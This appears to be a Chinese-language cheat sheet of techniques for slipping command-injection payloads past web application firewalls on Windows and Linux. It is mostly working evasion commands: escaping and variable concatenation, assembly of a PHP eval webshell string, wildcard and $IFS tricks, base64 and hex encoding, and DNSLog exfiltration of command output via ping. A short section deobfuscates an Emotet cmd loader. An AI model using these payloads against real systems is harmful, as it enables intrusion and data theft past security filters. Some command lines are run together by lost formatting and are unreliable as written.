绕过WAF运行命令执行漏洞的方法
绕过WAF运行命令执行漏洞的方法
0x01 Windows(不区分大小写)
1.1 符号和命令的关系
如果命令执行的时候遇到拦截命令关键词的时候可以利用如下方法绕过:
"
和^
是CMD命令中最常见的转义字符,还有成对的括号并不会影响命令的执行。
这里有几个需要注意的地方:
1 | 在命令中可以有无数个",但是不能有两个连续的^ |
1 | whoami //正确执行 |
1.2 了解set命令和Windows变量
在cmd中set用来进行变量赋值,而%%括起来的变量会引用其赋的值。
这样就可以进行命令执行了
1 | set cmd=whoami //赋值变量为whoami%cmd% //执行命令 |
也可以赋值多个变量,拼接利用
1 | set cmd1=whoset cmd2=amset cmd3=i%cmd1%%cmd2%%cmd3% |
1 | set cmd1=whoset cmd3=i%cmd1%am%cmd3% |
也可以与1.2的内容进行合并
1 | set cmd1=wh""oset cmd3=i"""%cmd1%a^m%cmd3% |
也可以在赋值的时候加入空格
1 | set cmd1=s""erset cmd2=t uset cmd3=n^e%cmd3%%cmd2%%cmd1% |
1 | Cmd /C "set cmd1=s""er && set cmd2=t u && set cmd3=n^e && call %cmd3%%cmd2%%cmd1%" |
当使用cmd /V:ON
或cmd /V:O
时可以不使用call命令来扩展变量,使用 %var% 或 !var! 来扩展变量,!var!可以用来代替%var%
1 | cmd /V:ON /C "set cmd=net user && !cmd!"cmd /V:O /C "set cmd=net user && !cmd!" |
1.3 Windows切割字符串
拿whoami举例,实践Windows切割字符串的语法
1 | set cmd=whoami |
由此可以看出来截取字符串的语法为%变量名:~x,y%
即从变量第x位开始,截取y个字符。
1 | C:\Users\a>set str=0123456789 |
既然已经熟悉了如何切割字符,那么我们来看一下都有什么环境变量可以用
我们可以拼命令了
1 | C:\Users\a>echo %COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%mi |
我们还可以凑php一句话(这里为了方便所以自定义了一些字符)
1 | C:\Users\a>set web=^<^>/@$_PHPOST[]?'e()val |
因为拼接字符需要得到大量的位置,为了方便拼接可以使用for命令来讲所有位置设成一个列表,以此循环遍历列表,合并字符串,还能起到混淆的作用。
这里注意set不能以空格结尾否则,变量会将空格进行赋值
1 | cmd /V:ON /C " set kpx=vwchdoaadmei&& for %G in (1,3,5,7,9,11,26) do set lq=!lq!!kpx:~%G,1!&& if %G==26 !lq:~4!" |
错误示范
下面的方法拼接出来的其实是w h o a m i 因为有空格后面的都视作参数没有显示
分析Emotet木马中的cmd命令
Emotet一款著名的银行木马,首次出现于2014年年中。该木马主要通过垃圾邮件的方式传播感染目标用户,其不断变化传播花样,采用越来越复杂的混淆编码来躲避检测。
现在我们以Emotet木马为例,我们来试着分析一下经过混淆后的cmd内容
先将混淆cmd命令中的转义字符“^”全部去掉,再将除了变量@之外的逗号“,”、分号“;”、多余空格删除。注意保留变量@中的逗号和分号,否则影响输出结果。
下图为无意义的四个字符串,cmd会自动忽略。
可以看出这里利用了cmd的系统环境变量%comspec%
,即是cmd.exe的执行路径,因此会执行cmd命令,这里才是命令的真正开头。因此程序开头可以进行化简。
去除无意义的字符串后可以化简为
1 | %comspec% /c for /f " delims=vf= tokens=2" %f in ( 'assoc .cmd' ) do %f /V /R |
先利用%comspec% /c
执行第一个for循环,再利用for
循环的/f
参数,在命令assoc .cmd
结果.cmd=cmdfile
中以字符v、f、=为分隔符,取第二列即是“cmd
”。
因此这里用for循环生成的cmd又开启了新一个cmd程序来运行下面的字符串内的程序。
这里自定义了一个环境变量@
,等于一个1460长度的字符串。然后利用for循环的/L参数,遍历变量@
:for /L %s in (1459,-4,+3 ) do set \=!\!!@ :~ %s, 1!& if %s equ 3 call %\:~-365%
,这个for循环自定义了环境变量"\
",还启用了延迟的环境变量扩展!
,!@:~%s,1!
表示循环变量%s
从1459开始,步长为-4
,到3
结束,循环提取变量@
中的字符,添加到\
变量中。当%s
到3
的时候就会执行\
中倒数365个字符组成的程序。
1.4 逻辑运算符在绕过中的作用
|
在cmd中,可以连接命令,且只会执行后面的命令
1 | whoami | ping -n 1 www.baidu.com //只执行ping |
||
只有在前面命令失败才执行后面
1 | ping 127.0.0.1 || whoami //不执行 |
&
无论前面的命令是否能执行成功都会执行后面的命令
1 | ping 127.0.0.1 & whoami //执行 |
&&
前面命令为真才会执行后面的命令。
1 | ping 127.0.0.1 && whoami //执行whoamiping xxx. && whoami //不执行whoami |
0x02 Linux(区分大小写)
2.1 linux下的符号和逻辑运算符
linux中变量使用$
来引用,;
表示命令结束无论命令是否执行成功都会执行下一个命令,| || & &&
,与Windows一样,这里就不做赘述。
利用上面的符号可以进行拼接的命令:
1 | t=l;j=s;i=" -al";$t$j$i |
2.2 利用未被过滤的命令
假设有命令执行漏洞的网站中过滤的一些命令,但是没有过滤一些命令,例如ping命令,则可以利用ping命令来执行命令带出信息。
1 | ping `whoami`.whjtmh.dnslog.cn |
利用DNSLog就可以获得带出的信息(对于不回显的命令执行也可以利用这种方法)
2.3 linux符号之间的组合
类似于Windows的"
和^
linux也有类似的使用方法,就是利用变量和参数
利用反斜杠绕过
1 | who\ami |
利用括号括起来(当做命令执行)
1 | (whoa''mi) |
利用反引号或$和括号结合(将括号内命令的结果当做命令执行)
1 | `(echo whoami)` |
利用Shell特殊变量绕过
1 | who$*ami |
利用通配符匹配唯一命令名称执行命令(使用命令的绝对路径)
1 | /u?r/b?n/who?mi |
综合组合
1 | /*/*""in/w'h'`dfds`??m$(sdf)i |
2.4 linux切割字符串
在linux中切割字符串的语法是${NAME:start:length}
与Windows相同这里不在赘述,只要区分大小写就可以
2.5 绕过空格过滤
-
在前端页面中可以利用%00,%0a,%0d等url编码来绕过空格的过滤,
-
利用大括号来绕过空格限制
1 | {ls,-al} |
- ${IFS}绕过空格
IFS是internal field separator的缩写,shell的特殊环境变量。shell根据IFS存储的值,可以是空格(040)、tab(011)、换行符(012)或者其他自定义符号,来解析输入和输出的变量值。这里echo -n是不进行自动换行
2.6 利用base64绕过命令限制
1 | echo whoami|base64 //先输出whoami的base64编码 |
2.7 hex编码绕过
1 | # cat flag.php -> 63617420666c61672e706870 |
2.8 长度限制绕过
- 方法一:
可以利用base64解码的方式将脚本写入多个文件合并后再执行
1 | echo "cat flag.txt" | base64 |
- 方法二:
1 | 首先通过命令创建带有命令分隔的文件 |